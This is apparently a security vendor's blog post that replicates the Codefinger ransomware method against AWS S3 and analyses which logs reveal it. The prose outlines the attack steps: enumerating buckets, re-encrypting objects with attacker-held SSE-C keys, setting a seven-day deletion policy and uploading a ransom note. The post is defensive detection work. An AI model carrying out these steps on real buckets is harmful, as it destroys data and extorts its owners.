Ransomware targeting cloud environments is evolving, leveraging native AWS services to encrypt and disrupt access to critical data. A recent report by Halcyon exposed an attack method in which adversaries use AWS S3’s Server-Side Encryption with Customer-Provided Keys (SSE-C) to lock victims out of their own data.

This attack method, attributed to the threat actor Codefinger, exploits compromised AWS keys to encrypt S3 bucket data using customer-provided keys (SSE-C) provided in this case by the attackers. Because AWS CloudTrail only logs a Hash-based Message Authentication Code (HMAC) of the encryption key, forensic analysis and data recovery are impossible. The attacker first locates compromised AWS keys with permissions to execute s3:GetObject and s3:PutObject requests, then proceeds to encrypt data, making it irrecoverable without their key.

In this blog, we replicate this attack and analyze how it appears in AWS logs when ingested into the Cado platform.

The Attack: Encrypting S3 Data with SSE-C

The attack follows a straightforward methodology:

Reconnaissance: The attacker lists all available S3 buckets and enumerates objects within a target bucket:

Data Encryption with SSE-C: Instead of exfiltrating data, the attacker copies each object to itself while applying SSE-C encryption, rendering the files inaccessible without the original key:

Persistence & Cleanup: The attacker applies a lifecycle policy to automatically delete files after seven days, reducing the chances of recovery:

Ransom Note Upload: Finally, a ransom note is added to the bucket to demand payment:

Visibility of the Attack in AWS Logs

We conducted several tests with varying AWS logging levels to evaluate how effectively this attack could be identified based on the available log data:

• CloudTrail Events: Captured ListBuckets and PutBucketLifecycle, but did not log CopyObject operations with SSE-C.
• S3 Access Logging: Showed two key events:
  • REST.COPY.OBJECT recorded the copy operation.
  • REST.COPY.OBJECT_GET was triggered due to AWS validating the copy, as SSE-C keys are not stored even in the Logs.
  • However, they do not show that the object was encrypted with SSE-C.

• CloudTrail with S3 Data Events: Provided the clearest visibility, explicitly logging the CopyObject operation using SSE-C encryption.

How the Attack Appears in a Cado Platform

We created two investigations in the Cado platform, one for logs from CloudTrail Events and S3 Access Logging, and a second for logs which includes CloudTrail with S3 Data events enabled and S3 Access Logging.

Our two investigations 

Taking a look at the key differences between the Investigation with and without S3 data events.

Investigation 1

CloudTrail

Without S3 data events enabled, we can only see two key events that signify what has happened, the ListBuckets and PutBucketLifecycle events.

If we look at the PutBucketLifecycle request then the only sign of the attack we can see is the delete after seven days policy been applied to the bucket.

Without S3 data events this is the only sign of malicious activity and could be easily missed or overlooked.

S3 Server Access Logs

If we add in the S3 Server Access Logs we can gain slightly more insight into what the attacker did in our bucket. There are two API calls that give us some more context as to what happened in our bucket.  The first REST.COPY.OBJECT shows the initial copy operation, indicating that the object was copied over itself and encrypted.

We can see that the object was copied but there is no indication that it was encrypted during this operation.

The second API call REST.COPY.OBJECT_GET is logged because AWS performs an internal validation read. While AWS does not store customer-provided keys for SSE-C, it temporarily uses the key from the request to verify access to the object. This is a sign that SSE-C was used but it does not explicitly state that in the log for this event.

So it is possible to work out what happened if we know what signs to look for but this level of logging still does not explicitly tell us what happened and again could be easily missed. 

Investigation 2

CloudTrail With S3 Data Events

When using CloudTrail with S3 Data events enabled we gain two additional relevant log entries that can give us much greater insight into what has gone on within our bucket. We can now see the CopyObject and PutObject events.

Taking a look at the first of these new events, CopyObject, we can now see that the file in our bucket “customers.txt” was copied over itself and we can see that encryption was applied using a customer supplied key as the SSEApplied field is set to SSE_C.

With the S3 data events enabled we can also now see the creation of the ransom note README.txt

Cloud trail with S3 Data events is the only logging option that explicitly shows us that the data in the bucket was encrypted with SSE-C when it was copied and overwritten.

Key Takeaways & Recommendations

• Enable CloudTrail S3 Data Events: This is crucial for detecting object modifications.
• Monitor Lifecycle Policy Changes: Unexpected expiration policies can indicate ransomware activity.

The use of SSE-C for ransomware in AWS S3 highlights the need for enhanced cloud security monitoring. While AWS’s default logging configurations may not provide full visibility, enabling the right logging mechanisms can significantly improve detection and response, however there is the downside of the added costs/storage requirements to consider when enabling additional logging options.